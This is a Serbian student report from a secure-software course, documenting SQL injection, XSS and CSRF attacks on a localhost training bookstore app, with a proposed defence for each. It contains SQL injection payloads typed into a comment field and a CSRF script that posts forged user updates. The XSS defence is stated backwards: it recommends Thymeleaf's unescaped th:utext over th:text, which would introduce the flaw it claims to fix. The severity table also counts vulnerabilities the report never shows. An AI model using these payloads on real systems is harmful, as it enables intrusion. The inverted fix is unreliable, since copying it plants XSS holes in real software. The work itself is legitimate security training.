

Stručni kurs Razvoj bezbednog softvera

Izveštaj

Pronađene ranjivosti u projektu "RealBookStore"

Jelisaveta Gavrilović

12.05.2024.

Istorija izmena

[illegible]

Sadržaj

Istorija izmena	1
Uvod	3
O veb aplikaciji.....	3
Kratak pregled rezultata testiranja	3
SQL injection	4
Napad: Ubacivanje novog usera u tabelu “persons” (SQL injection)	4
Metod napada	4
Predlog odbrane	4
Cross-site scripting.....	5
Napad: Ubacivanje novog usera u tabelu “persons”.....	5
Metod napada	5
Predlog odbrane	5
Cross-site request forgery	6
Napad: Menjanje podataka korisnika.....	6
Metod napada	6
Predlog odbrane	7
Implementacija autorizacije	8
DevOps	9

Uvod

Ovaj izveštaj se bavi ranjivostima pronađenim u dole opisanoj veb aplikaciji.

O veb aplikaciji

RealBookStore je veb aplikacija koja pruža mogućnosti pretrage, ocenjivanja i komentarisanja knjiga.

Aplikacija RealBookStore omogućava sledeće:

- Pregled i pretragu knjiga.
- Dodavanje nove knjige.
- Detaljan pregleda knjige kao i komentarisanje i ocenjivanje knjige.
- Pregled korisnika aplikacije.
- Detaljan pregled podataka korisnika.

Kratak pregled rezultata testiranja

Ovde idu kratko opisani rezultati testiranja: pronađene ranjivosti i nivo opasnosti.

<i>Nivo opasnosti</i>	<i>Broj ranjivosti</i>
<i>Low</i>	3
<i>Medium</i>	2
<i>High</i>	1

SQL injection

Napad: Ubacivanje novog usera u tabelu “persons” (SQL injection)

Metod napada

Na stranici za pregledanje pojedinačne knjige aplikacije, unećemo sledeći kod u input polje “Comment”:

Book comments

Bruce Wayne

They are taking the hobbits to Isengard. P.S. I am not Batman

Add comment

```
komentar'); insert into persons(id, firstName, lastName, email) values(5, 'Jelisaveta', 'Gavrilovic', 'mej1@gmail.com')
```

Create comment

Nakon čega vidimo da je novi korisnik dodat u bazu:

Users

Search...

Search

#	First Name	Last Name	Email	
1	Bruce	Wayne	notBatman@gmail.com	View profile
2	Sam	Vimes	night-watch@gmail.com	View profile
3	Tom	Riddle	theyGotMyNose@gmail.com	View profile
4	Quentin	Tarantino	qt5@gmail.com	View profile
5	Jelisaveta	Gavrilovic	mej1@gmail.com	View profile

Predlog odbrane

U našem kodu ćemo koristiti parametrizovane upite prilikom izvršavanja upita nad bazom podataka u delu kreiranja komentara. Ova promena omogućava nam da sigurno unosimo komentare u bazu podataka bez rizika od neželjenog izvršavanja SQL koda unutar komentara.

Cross-site scripting

Napad: Ubacivanje novog usera u tabelu "persons"

Metod napada

Na stranici za pregledanje pojedinačne knjige aplikacije, unećemo sledeći kod u input polje "Comment":

Book comments

Bruce Wayne

They are taking the hobbits to Isengard. P.S. I am not Batman

Add comment

```
'); insert into persons(firstName, lastName, email)
values('Jelisaveta', 'Gavrilovic', '')--
```

Create comment

Ovom naredbom smo ubacili novog korisnika u bazu podataka koji sadrži zlonamernu skriptu za krađu kolačića sesije u atribut njegovog email-a.

Users

Search

You searched for jelisaveta

#	First Name	Last Name	Email
5	Jelisaveta	Gavrilovic	View profile

`_xsrf=2[d48f6ce5]8e171cb8907f2e7b2bf16223f8facea8|1715018462`

Close

Predlog odbrane

U okviru HTML DOM objekta korišćemo `textContent` umesto `innerHTML` i na HTML tagu umesto `th:text` korišćemo `th:utext(unescaped text)`.

Cross-site request forgery

Napad: Menjanje podataka korisnika

Metod napada

Klikom na zlonamerni link, aktivira se skripta koja šalje zahtev serveru i menja podatke korisniika.

```
<script>
  1 usage  ± jelisavetagavrilovic +1
  function exploit() {
    // Scripted CSRF Request
    const formData = new FormData();
    formData.append('id', 1);
    formData.append('firstName', 'Batman');
    formData.append('lastName', 'Dark Knight');
    fetch('http://localhost:8080/update-person', {
      method: 'POST',
      body: formData,
      credentials: 'include'
    });
  }
</script>
```

Pre klika na link naša Users stranica izgleda:

Users

Search...				Search
#	First Name	Last Name	Email	
1	Bruce	Wayne	notBatman@gmail.com	View profile
2	Sam	Vimes	night-watch@gmail.com	View profile
3	Tom	Riddle	theyGotMyNose@gmail.com	View profile
4	Quentin	Tarantino	qt5@gmail.com	View profile

Klikom na link primećujemo da se stvarno promenio korisnik:

Users

Search...				Search
#	First Name	Last Name	Email	
1	Batman	Dark Knight	notBatman@gmail.com	View profile
2	Sam	Vimes	night-watch@gmail.com	View profile
3	Tom	Riddle	theyGotMyNose@gmail.com	View profile
4	Quentin	Tarantino	qt5@gmail.com	View profile

Predlog odbrane

Da bi se zaštitili od CSRF napada, koristićemo sistem CSRF tokena (generiše se jedinstveni token za svaki korisnički zahtev i ugrađuje ga u formu ili zahtev). Prilikom obrade zahteva, aplikacija proverava da li pristigli token odgovara očekivanom tokenu za tog korisnika i zahtev, čime se sprečava izvršavanje neovlašćenih akcija na računu korisnika.

```
± jelisavetavrilovic +1
@PostMapping("/update-person")
@PreAuthorize("hasAuthority('UPDATE_PERSON')")
// public String updatePerson(Person person) {
public String updatePerson(Person person, HttpSession session,
                           @RequestParam("csrfToken") String csrfToken) throws AccessDeniedException {
    String csrf = session.getAttribute("CSRF_TOKEN").toString();
    if (!csrf.equalsIgnoreCase(csrfToken)) {
        throw new AccessDeniedException("Access Denied");
    }

    personRepository.update(person);
    return "redirect:/persons/" + person.getId();
}
```


Implementacija autorizacije

Za početak, potrebno je da implementiramo autorizacioni model u bazi podataka.

```
insert into permissions(id, name)
values (1, 'ADD_COMMENT'),
       (2, 'VIEW_BOOKS_LIST'),
       (3, 'CREATE_BOOK'),
       (4, 'VIEW_PERSONS_LIST'),
       (5, 'VIEW_PERSON'),
       (6, 'UPDATE_PERSON'),
       (7, 'VIEW_MY_PROFILE'),
       (8, 'RATE_BOOK');

insert into role_to_permissions(roleId, permissionId)
values (1, 1),
       (1, 2),
       (1, 3),
       (1, 4),
       (1, 5);
```

- Primer kako sada izgleda kada smo ulogovani kao Bruce Wayne:

Books

Search

#	Title	Description	Author	
1	The Lord of the Rings	Set in Middle-earth, the story began as a sequel to Tolkien's 1937 children's book The Hobbit, but eventually developed into a much larger work.	J.R.R. Tolkien	Details
2	Dune	Dune is set in the distant future in a feudal interstellar society in which various noble houses control planetary fiefs.	Frank Herbert	Details
3	Grundrisse	The series of seven notebooks rough-drafted by Marx, chiefly for purposes of self-clarification, during the winter of 1857-8.	Karl Marx	Details

Add book

- Primer kako sada izgleda kada smo ulogovani kao Tom Riddle:

Books

Search

#	Title	Description	Author	
1	The Lord of the Rings	Set in Middle-earth, the story began as a sequel to Tolkien's 1937 children's book The Hobbit, but eventually developed into a much larger work.	J.R.R. Tolkien	Details
2	Dune	Dune is set in the distant future in a feudal interstellar society in which various noble houses control planetary fiefs.	Frank Herbert	Details
3	Grundrisse	The series of seven notebooks rough-drafted by Marx, chiefly for purposes of self-clarification, during the winter of 1857-8.	Karl Marx	Details

Add book

DevOps

Koristili smo auditing i logging radi pratnje promena i grešaka u našem programu. Logging je korišćen za warning, ukoliko neki upit ne prođe uspešno ili ako npr. search nije dobro izvršen. Auditing je korišćen za bilo koju promenu podataka.

-